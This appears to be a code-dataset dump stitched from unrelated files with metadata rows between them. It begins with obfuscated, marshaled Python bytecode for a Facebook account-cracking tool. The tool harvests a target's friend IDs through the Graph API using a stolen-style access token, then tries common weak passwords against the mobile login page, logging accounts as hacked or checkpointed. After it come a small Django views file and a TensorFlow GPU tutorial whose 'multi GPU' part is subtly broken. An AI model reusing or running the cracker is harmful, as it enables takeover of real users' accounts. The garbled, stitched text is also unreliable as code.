x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01n\x11\x00t\x06\x00d\x1e\x00\x83\x01\x00\x01t\x1b\x00\x83\x00\x00\x01d\x00\x00S(\x1f\x00\x00\x00NR\r\x00\x00\x00s\x0b\x00\x00\x00login_r.txtR\x0e\x00\x00\x00s\x13\x00\x00\x00 [!] Token Invalid s\x12\x00\x00\x00rm -rf login_r.txts,\x00\x00\x00https://graph.facebook.com/me/?access_token=t\x04\x00\x00\x00namet\x02\x00\x00\x00ids\x13\x00\x00\x00 [!] Invalid Token s$\x00\x00\x00 [!] Check Your Internet Vonnection s\x15\x00\x00\x00 [%s-%s] Nama : %ss\x15\x00\x00\x00 [%s-%s] Ip User : %ss\x16\x00\x00\x00 [%s-%s] Id User : %s\ns\x15\x00\x00\x00 [%s1%s] Start Crack s\x16\x00\x00\x00 [%s2%s] Delete Token s\x11\x00\x00\x00 [%s0%s] Logout\n s\x0e\x00\x00\x00 [?] Choose : R\x10\x00\x00\x00R\x11\x00\x00\x00t\x01\x00\x00\x002t\x02\x00\x00\x0002s\x15\x00\x00\x00 [!] Delete Token....i\x01\x00\x00\x00R\x12\x00\x00\x00s\x16\x00\x00\x00 [!] Please Come Back R\x13\x00\x00\x00R\x0f\x00\x00\x00t\x01\x00\x00\x00 s\x13\x00\x00\x00 [!] Please Fill Ins#\x00\x00\x00 [!] Just Select Whats On The Menu (\x1c\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00R\x16\x00\x00\x00R+\x00\x00\x00R\x1e\x00\x00\x00R\x19\x00\x00\x00R\x0b\x00\x00\x00R\x1c\x00\x00\x00R!\x00\x00\x00R"\x00\x00\x00R#\x00\x00\x00R$\x00\x00\x00R%\x00\x00\x00R\x18\x00\x00\x00t\n\x00\x00\x00exceptionsR\x00\x00\x00\x00R\x1a\x00\x00\x00t\x02\x00\x00\x00bmt\x02\x00\x00\x00rat\x02\x00\x00\x00ipt\x02\x00\x00\x00hjt\x02\x00\x00\x00kut\x01\x00\x00\x00mR\x1b\x00\x00\x00t\x05\x00\x00\x00crackR\x07\x00\x00\x00R\x08\x00\x00\x00R\x17\x00\x00\x00(\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00t\x04\x00\x00\x00namaR:\x00\x00\x00t\x03\x00\x00\x00asw(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>R\x17\x00\x00\x00\x92\x00\x00\x00sV\x00\x00\x00\x00\x01\r\x02\x03\x01\x19\x01\r\x01\n\x01\r\x01\r\x01\x0b\x01\x03\x01\x13\x01\x12\x01\n\x01\x0e\x01\r\x01\r\x01\n\x01\r\x01\n\x01\x13\x01\t\x01\x05\x01\x12\x01\x12\x01\x12\x01\x0f\x01\x0f\x01\x0f\x01\x0c\x01\x18\x01\n\x01\x18\x01\n\x00\r\x01\r\x01\n\x01\x0c\x01\n\x01\x10\x01\x18\x01\n\x01\n\x02\n\x01c\x00\x00\x00\x00\n\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00sm\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHy\x19\x00t\x03\x00d\x02\x00d\x03\x00\x83\x02\x00j\x04\x00\x83\x00\x00a\x05\x00Wn\x1d\x00\x04t\x06\x00k\n\x00rJ\x00\x01\x01\x01d\x04\x00GHt\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x08\x00d\x05\x00\x83\x01\x00}\x00\x00y1\x00t\t\x00j\n\x00d\x06\x00|\x00\x00\x17d\x07\x00\x17t\x05\x00\x17\x83\x01\x00}\x01\x00t\x0b\x00j\x0c\x00|\x01\x00j\r\x00\x83\x01\x00}\x02\x00Wn\x1b\x00\x04t\x0e\x00k\n\x00r\xa5\x00\x01\x01\x01t\x0f\x00d\x08\x00\x83\x01\x00\x01n\x01\x00Xt\t\x00j\n\x00d\x06\x00|\x00\x00\x17d\t\x00\x17t\x05\x00\x17\x83\x01\x00}\x03\x00t\x0b\x00j\x0c\x00|\x03\x00j\r\x00\x83\x01\x00}\x04\x00x;\x00|\x04\x00d\n\x00\x19D]/\x00}\x05\x00|\x05\x00d\x0b\x00\x19}\x06\x00|\x05\x00d\x0c\x00\x19}\x07\x00t\x10\x00j\x11\x00|\x06\x00d\r\x00\x17|\x07\x00\x17\x83\x01\x00\x01q\xde\x00Wd\x0e\x00t\x12\x00t\x13\x00t\x10\x00\x83\x01\x00\x83\x01\x00\x17GHt\x14\x00GHd\x0f\x00GHd\x10\x00GHt\x14\x00GHd\x11\x00\x84\x00\x00}\x08\x00t\x15\x00d\x12\x00\x83\x01\x00}\t\x00|\t\x00j\x16\x00|\x08\x00t\x10\x00\x83\x02\x00\x01t\x17\x00d\x13\x00\x83\x01\x00\x01d\x00\x00S(\x14\x00\x00\x00NR\r\x00\x00\x00s\x0b\x00\x00\x00login_r.txtR\x0e\x00\x00\x00s\x13\x00\x00\x00 [!] Invalid Token s\x1b\x00\x00\x00[\x1b[1;97m-\x1b[0m] ID Public : s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s\x12\x00\x00\x00 [!] Id Not Found s\x16\x00\x00\x00/friends?access_token=t\x04\x00\x00\x00dataR:\x00\x00\x00R9\x00\x00\x00s\x03\x00\x00\x00<=>s\x1b\x00\x00\x00[\x1b[1;97m-\x1b[0m] Total ID : s;\x00\x00\x00\x1b[1;97mKlick \x1b[1;96mCTRL+Z \x1b[1;97mUntuk Berhenti ...\x1b[1;97msM\x00\x00\x00\x1b[1;97mNote : \x1b[1;96mJika Tak Ada Hasil Mainkan Mode Pesawat 1 Detik \x1b[1;97m?c\x01\x00\x00\x00\x0c\x00\x00\x00\t\x00\x00\x00S\x00\x00\x00s#\x04\x00\x00g\x00\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00d\x01\x00t\x03\x00t\x04\x00t\x05\x00t\x06\x00\x83\x01\x00f\x03\x00\x16\x83\x01\x00\x01t\x00\x00j\x01\x00j\x07\x00\x83\x00\x00\x01y\x11\x00t\x08\x00j\t\x00d\x02\x00\x83\x01\x00\x01Wn\x11\x00\x04t\n\x00k\n\x00rZ\x00\x01\x01\x01n\x01\x00X|\x00\x00j\x0b\x00d\x03\x00\x83\x01\x00\\\x02\x00}\x02\x00}\x03\x00xJ\x01|\x03\x00j\x0b\x00d\x04\x00\x83\x01\x00D]9\x01}\x04\x00t\x05\x00|\x04\x00\x83\x01\x00d\x05\x00k\x00\x00r\x9e\x00q\x80\x00q\x80\x00t\x05\x00|\x04\x00\x83\x01\x00d\x06\x00k\x02\x00r\xe6\x00t\x05\x00|\x04\x00\x83\x01\x00d\x07\x00k\x02\x00r\xe6\x00t\x05\x00|\x04\x00\x83\x01\x00d\x05\x00k\x02\x00r\xe6\x00t\x05\x00|\x04\x00\x83\x01\x00d\x08\x00k\x02\x00s\x1c\x01t\x05\x00|\x04\x00\x83\x01\x00d\t\x00k\x02\x00s\x1c\x01t\x05\x00|\x04\x00\x83\x01\x00d\n\x00k\x02\x00s\x1c\x01t\x05\x00|\x04\x00\x83\x01\x00d\x0b\x00k\x02\x00r\x92\x01|\x01\x00j\x0c\x00|\x03\x00\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\x0c\x00\x17\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\r\x00\x17\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\x0e\x00\x17\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\x0f\x00\x17\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\x10\x00\x17\x83\x01\x00\x01|\x01\x00j\x0c\x00|\x04\x00d\x11\x00\x17\x83\x01\x00\x01q\x80\x00|\x01\x00j\x0c\x00d\x12\x00\x83\x01\x00\x01|\x01\x00j\x0c\x00d\x13\x00\x83\x01\x00\x01|\x01\x00j\x0c\x00d\x14\x00\x83\x01\x00\x01q\x80\x00WyX\x02xG\x02|\x01\x00D]?\x02}\x05\x00|\x05\x00j\r\x00\x83\x00\x00}\x05\x00t\x0e\x00j\x0f\x00d\x15\x00d\x16\x00i\x03\x00|\x02\x00d\x17\x006|\x05\x00d\x18\x006d\x19\x00d\x1a\x006d\x1b\x00i\x01\x00t\x10\x00d\x1c\x006\x83\x01\x02}\x06\x00|\x06\x00j\x11\x00}\x07\x00d\x1d\x00|\x07\x00k\x06\x00s1\x02d\x1e\x00|\x07\x00k\x06\x00r\xa1\x02d\x1f\x00t\x12\x00|\x02\x00\x83\x01\x00\x17d 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\x00\x17|\x05\x00\x17d-\x00\x17|\n\x00\x17GHt\x1d\x00j\x0c\x00|\x02\x00d-\x00\x17|\x05\x00\x17d-\x00\x17|\n\x00\x17\x83\x01\x00\x01t\x14\x00j\x02\x00d.\x00t\x12\x00|\x02\x00\x83\x01\x00\x17d-\x00\x17t\x12\x00|\x05\x00\x83\x01\x00\x17d-\x00\x17|\n\x00\x17d#\x00\x17\x83\x01\x00\x01t\x14\x00j\x15\x00\x83\x00\x00\x01PWn#\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\x9b\x03\x01\x01\x01d\x04\x00}\n\x00n\x07\x00\x01\x01\x01n\x01\x00Xd,\x00|\x02\x00\x17d-\x00\x17|\x05\x00\x17d!\x00\x17GHt\x1d\x00j\x0c\x00|\x02\x00d \x00\x17|\x05\x00\x17\x83\x01\x00\x01t\x14\x00j\x02\x00d.\x00t\x12\x00|\x02\x00\x83\x01\x00\x17d-\x00\x17t\x12\x00|\x05\x00\x83\x01\x00\x17d#\x00\x17\x83\x01\x00\x01t\x14\x00j\x15\x00\x83\x00\x00\x01Pq\xc7\x01q\xc7\x01q\xc7\x01Wt\x04\x00d\x06\x007a\x04\x00Wn\x07\x00\x01\x01\x01n\x01\x00Xd\x00\x00S(/\x00\x00\x00Ns8\x00\x00\x00\r [%sR] Crack %s - %s \x1b[1;96mMohon Ditunggu... \x1b[1;97m! t\x07\x00\x00\x00resultss\x03\x00\x00\x00<=>R=\x00\x00\x00i\x03\x00\x00\x00i\x01\x00\x00\x00i\x02\x00\x00\x00i\x04\x00\x00\x00i\x05\x00\x00\x00i\x06\x00\x00\x00i\x07\x00\x00\x00t\x02\x00\x00\x0012t\x03\x00\x00\x00123t\x04\x00\x00\x001234t\x05\x00\x00\x0012345t\t\x00\x00\x00bismillaht\x06\x00\x00\x00sayangt\x06\x00\x00\x00000786t\x06\x00\x00\x00786786t\x06\x00\x00\x00889900s%\x00\x00\x00https://mbasic.facebook.com/login.phpRH\x00\x00\x00t\x05\x00\x00\x00emailt\x04\x00\x00\x00passt\x06\x00\x00\x00submitR\x1c\x00\x00\x00t\x07\x00\x00\x00headerss\n\x00\x00\x00user-agentt\x14\x00\x00\x00mbasic_logout_buttons\x0b\x00\x00\x00save-devices\x1b\x00\x00\x00\r \x1b[1;92m[RAKA_AMANDA OK] t\x01\x00\x00\x00|s\x07\x00\x00\x00 s\x11\x00\x00\x00[RAKA_AMANDA OK] s\x01\x00\x00\x00\nt\n\x00\x00\x00checkpoints\x0b\x00\x00\x00login_r.txts\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=t\x08\x00\x00\x00birthdayt\x01\x00\x00\x00/t\x01\x00\x00\x00-R9\x00\x00\x00s\x1c\x00\x00\x00 \r\x1b[1;96m [RAKA_AMANDA CP] s\x05\x00\x00\x00 <-> s\x11\x00\x00\x00[RAKA_AMANDA CP] ( \x00\x00\x00R\x03\x00\x00\x00R\x04\x00\x00\x00R\x05\x00\x00\x00R@\x00\x00\x00t\x04\x00\x00\x00loopt\x03\x00\x00\x00lenR:\x00\x00\x00R\x06\x00\x00\x00R\x14\x00\x00\x00t\x05\x00\x00\x00mkdirt\x07\x00\x00\x00OSErrort\x05\x00\x00\x00splitt\x06\x00\x00\x00appendt\x05\x00\x00\x00lowerR!\x00\x00\x00R.\x00\x00\x00t\x07\x00\x00\x00raka_uat\x07\x00\x00\x00contentt\x03\x00\x00\x00strt\x02\x00\x00\x00okt\x04\x00\x00\x00saveR&\x00\x00\x00R\x16\x00\x00\x00R+\x00\x00\x00R\x1e\x00\x00\x00t\x01\x00\x00\x00sR"\x00\x00\x00R#\x00\x00\x00t\x07\x00\x00\x00replacet\x02\x00\x00\x00cpR\x18\x00\x00\x00R\x19\x00\x00\x00(\x0c\x00\x00\x00t\x04\x00\x00\x00usert\x05\x00\x00\x00ra_pwt\x05\x00\x00\x00rax_xR9\x00\x00\x00t\x02\x00\x00\x00sst\x02\x00\x00\x00pwt\x03\x00\x00\x00rext\x02\x00\x00\x00xot\x03\x00\x00\x00urlRH\x00\x00\x00t\x06\x00\x00\x00tgllhrRF\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>t\x04\x00\x00\x00main\xdb\x00\x00\x00sx\x00\x00\x00\x00\x02\x06\x01\t\x01\x1a\x01\r\x01\x03\x00\x11\x01\r\x00\x04\x01\x15\x01\x16\x01\x12\x01\x06\x02~\x01\r\x01\x11\x01\x11\x01\x11\x01\x11\x01\x11\x01\x14\x02\r\x01\r\x01\x11\x01\x03\x01\r\x01\x0c\x017\x01\t\x01\x18\x01!\x01\x15\x01)\x01\n\x01\x01\x01\x06\x01\x0c\x01\x03\x01\x12\x01\x12\x01\x15\x01\x16\x01\n\x01\x19\x01\x1d\x011\x01\n\x01\x05\x01\x13\x01\t\x01\x03\x00\x04\x01\x15\x01\x15\x01)\x01\n\x01\x01\x01\n\x02\x0e\x01\x03\x01i\x1e\x00\x00\x00s\x0f\x00\x00\x00 \n[!] Finished (\x18\x00\x00\x00R\x14\x00\x00\x00R\x15\x00\x00\x00R\x1a\x00\x00\x00R\x16\x00\x00\x00R+\x00\x00\x00R\x1e\x00\x00\x00R\x19\x00\x00\x00R\x1d\x00\x00\x00R\x1b\x00\x00\x00R!\x00\x00\x00R"\x00\x00\x00R#\x00\x00\x00R$\x00\x00\x00R%\x00\x00\x00R\x18\x00\x00\x00R\x0b\x00\x00\x00R:\x00\x00\x00Rb\x00\x00\x00Rf\x00\x00\x00R^\x00\x00\x00t\x05\x00\x00\x00garisR\x02\x00\x00\x00t\x03\x00\x00\x00mapR\x13\x00\x00\x00(\n\x00\x00\x00t\x05\x00\x00\x00ra_idt\x03\x00\x00\x00pokt\x02\x00\x00\x00spR\x0e\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00Rn\x00\x00\x00R9\x00\x00\x00Ru\x00\x00\x00t\x01\x00\x00\x00p(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>RE\x00\x00\x00\xc0\x00\x00\x00s8\x00\x00\x00\x00\x01\r\x01\x05\x02\x03\x01\x19\x01\r\x01\x05\x01\x0b\x01\x0c\x01\x03\x01\x1b\x01\x16\x01\r\x01\x0e\x01\x1b\x01\x12\x01\x11\x01\n\x01\n\x01\x19\x01\x15\x01\x05\x01\x05\x01\x05\x01\x05\x02\t>\x0c\x01\x10\x01t\x08\x00\x00\x00__main__(*\x00\x00\x00t\x07\x00\x00\x00__doc__R\x14\x00\x00\x00R\x03\x00\x00\x00R,\x00\x00\x00R\x07\x00\x00\x00t\x02\x00\x00\x00reR#\x00\x00\x00R!\x00\x00\x00t\x0b\x00\x00\x00ImportErrort\x13\x00\x00\x00requests.exceptionsR\x00\x00\x00\x00R\x01\x00\x00\x00t\x14\x00\x00\x00multiprocessing.poolR\x02\x00\x00\x00R]\x00\x00\x00R:\x00\x00\x00Rm\x00\x00\x00RC\x00\x00\x00RB\x00\x00\x00t\x02\x00\x00\x00mlR@\x00\x00\x00RD\x00\x00\x00R?\x00\x00\x00t\x06\x00\x00\x00ua_sixt\x05\x00\x00\x00ua_xxt\x05\x00\x00\x00ua_rrR-\x00\x00\x00Rd\x00\x00\x00R"\x00\x00\x00R%\x00\x00\x00RA\x00\x00\x00R\x08\x00\x00\x00Rv\x00\x00\x00R\x0b\x00\x00\x00R\x1a\x00\x00\x00R/\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R\'\x00\x00\x00R\x17\x00\x00\x00RE\x00\x00\x00t\x08\x00\x00\x00__name__(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x10\x00\x00\x00<Ahmad_Riswanto>t\x08\x00\x00\x00<module>\x04\x00\x00\x00s\\\x00\x00\x00\x06\x02\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x03\x01\x0c\x01\x0c\x01\x10\x01\r\x01\x05\x01\t\x01\x03\x01\x10\x01\x10\x01\x14\x01\r\x01\t\x02\x06\x01\x06\x01\x06\x03\x06\x01\x06\x01\x06\x01\x06\x01\x06\x01\x06\x06\x06\x01\x06\x01\x06\x02\x12\x04\x03\x01\x16\x01\r\x01\x05\x00\x11\x04\x06\x02\t\x14\x06\x01\x06\x01\t\x15\t\x12\t\x1c\t.\t]\x0c\x06'))
| 5,732 | 28,574 | 0.758234 | 5,905 | 28,660 | 3.629805 | 0.138357 | 0.208267 | 0.0802 | 0.033032 | 0.476486 | 0.391621 | 0.308762 | 0.26514 | 0.23612 | 0.190352 | 0 | 0.340929 | 0.033775 | 28,660 | 4 | 28,575 | 7,165 | 0.433085 | 0.002303 | 0 | 0 | 0 | 2.5 | 0.59083 | 0.52735 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 12 |
b004da756b1b9f81aedd46f3204a567ad5680bf7 | 214 | py | Python | training_site/FacialValidationApp/views.py | adadesions/AgniProject | 9a9519417bd71e303308fecbbcf7006abf43353b | [
"MIT"
] | null | null | null | training_site/FacialValidationApp/views.py | adadesions/AgniProject | 9a9519417bd71e303308fecbbcf7006abf43353b | [
"MIT"
] | null | null | null | training_site/FacialValidationApp/views.py | adadesions/AgniProject | 9a9519417bd71e303308fecbbcf7006abf43353b | [
"MIT"
] | null | null | null | from django.shortcuts import render
def index(request):
return render(request, 'FacialValidationApp/index.html')
def facetexture(request):
return render(request, 'FacialValidationApp/facetexture.html')
| 21.4 | 66 | 0.780374 | 23 | 214 | 7.26087 | 0.521739 | 0.155689 | 0.227545 | 0.311377 | 0.538922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121495 | 214 | 9 | 67 | 23.777778 | 0.888298 | 0 | 0 | 0 | 0 | 0 | 0.308411 | 0.308411 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
c6d391fbe79ecf709da89f20c05d95cc2f6f1b44 | 2,582 | py | Python | Books/FirstContactWithTensorFlow/P06_Parallel_Processing/parallel_processing.py | Tim232/Python-Things | 05f0f373a4cf298e70d9668c88a6e3a9d1cd8146 | [
"MIT"
] | 2 | 2020-12-05T07:42:55.000Z | 2021-01-06T23:23:18.000Z | Books/FirstContactWithTensorFlow/P06_Parallel_Processing/parallel_processing.py | Tim232/Python-Things | 05f0f373a4cf298e70d9668c88a6e3a9d1cd8146 | [
"MIT"
] | null | null | null | Books/FirstContactWithTensorFlow/P06_Parallel_Processing/parallel_processing.py | Tim232/Python-Things | 05f0f373a4cf298e70d9668c88a6e3a9d1cd8146 | [
"MIT"
] | null | null | null | import tensorflow as tf
# ▣ 어느 디바이스에서 처리되었는지 확인
a = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='a')
b = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[3, 2], name='b')
c = tf.matmul(a, b)
# config=tf.ConfigProto(log_device_placement=True) : 연산 및 텐서가 어느 디바이스에서 처리되었는지 확인하기 위해 옵션 추가
sess = tf.Session(config=tf.ConfigProto(log_device_placement=True))
print(sess.run(c))
# ▣ 특정 디바이스에서 연산 수행하도록 설정
with tf.device('/gpu:0'):
a = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='a')
b = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[3, 2], name='b')
c = tf.matmul(a, b)
sess = tf.Session(config=tf.ConfigProto(log_device_placement=True))
print(sess.run(c))
# ▣ 여러 GPU 에서의 병렬처리
c = []
for d in ['/gpu:2', '/gpu:3']:
with tf.device(d):
a = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[2, 3], name='a')
b = tf.constant([1.0, 2.0, 3.0, 4.0, 5.0, 6.0], shape=[3, 2], name='b')
c.append(tf.matmul(a, b))
with tf.device('/cpu:0'):
sum = tf.add_n(c)
sess = tf.Session(config=tf.ConfigProto(log_device_placement=True))
print(sess.run(sum))
# ▣ GPU 코드 예제
# - GPU & CPU 처리 코드
import numpy as np
import tensorflow as tf
import datetime
A = np.random.rand(10000, 10000).astype('float32')
B = np.random.rand(10000, 10000).astype('float32')
n = 10
c1 = []
c2 = []
def matpow(M, n):
if n < 1:
return M
else:
return tf.matmul(M, matpow(M, n-1))
with tf.device('/gpu:0'):
a = tf.constant(A)
b = tf.constant(B)
c1.append(matpow(a, n))
c2.append(matpow(b, n))
with tf.device('/cpu:0'):
sum = tf.add_n(c1)
t1_1 = datetime.datetime.now()
with tf.Session(config=tf.ConfigProto(log_device_placement=True)) as sess:
sess.run(sum)
t2_1 = datetime.datetime.now()
print('Single GPU computation time: ' + str(t2_1 - t1_1))
# - GPU 2 처리 코드
import numpy as np
import tensorflow as tf
import datetime
A = np.random.rand(1e4, 1e4).astype('float32')
B = np.random.rand(1e4, 1e4).astype('float32')
n = 10
c1 = []
c2 = []
def matpow(M, n):
if n < 1:
return M
else:
return tf.matmul(M, matpow(M, n - 1))
with tf.device('/gpu:0'):
a = tf.constant(A)
c1.append(matpow(a, n))
with tf.device('/gpu:0'):
b = tf.constant(B)
c2.append(matpow(b, n))
with tf.device('/cpu:0'):
sum = tf.add_n(c1)
t1_1 = datetime.datetime.now()
with tf.Session(config=tf.ConfigProto(log_device_placement=True)) as sess:
sess.run(sum)
t2_1 = datetime.datetime.now()
print('Multi GPU computation time: ' + str(t2_1 - t1_1)) | 22.849558 | 92 | 0.608443 | 491 | 2,582 | 3.160896 | 0.173116 | 0.064433 | 0.061856 | 0.046392 | 0.873067 | 0.842139 | 0.840851 | 0.761598 | 0.716495 | 0.700387 | 0 | 0.078733 | 0.193261 | 2,582 | 113 | 93 | 22.849558 | 0.664426 | 0.079396 | 0 | 0.835616 | 0 | 0 | 0.061207 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027397 | false | 0 | 0.09589 | 0 | 0.178082 | 0.068493 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
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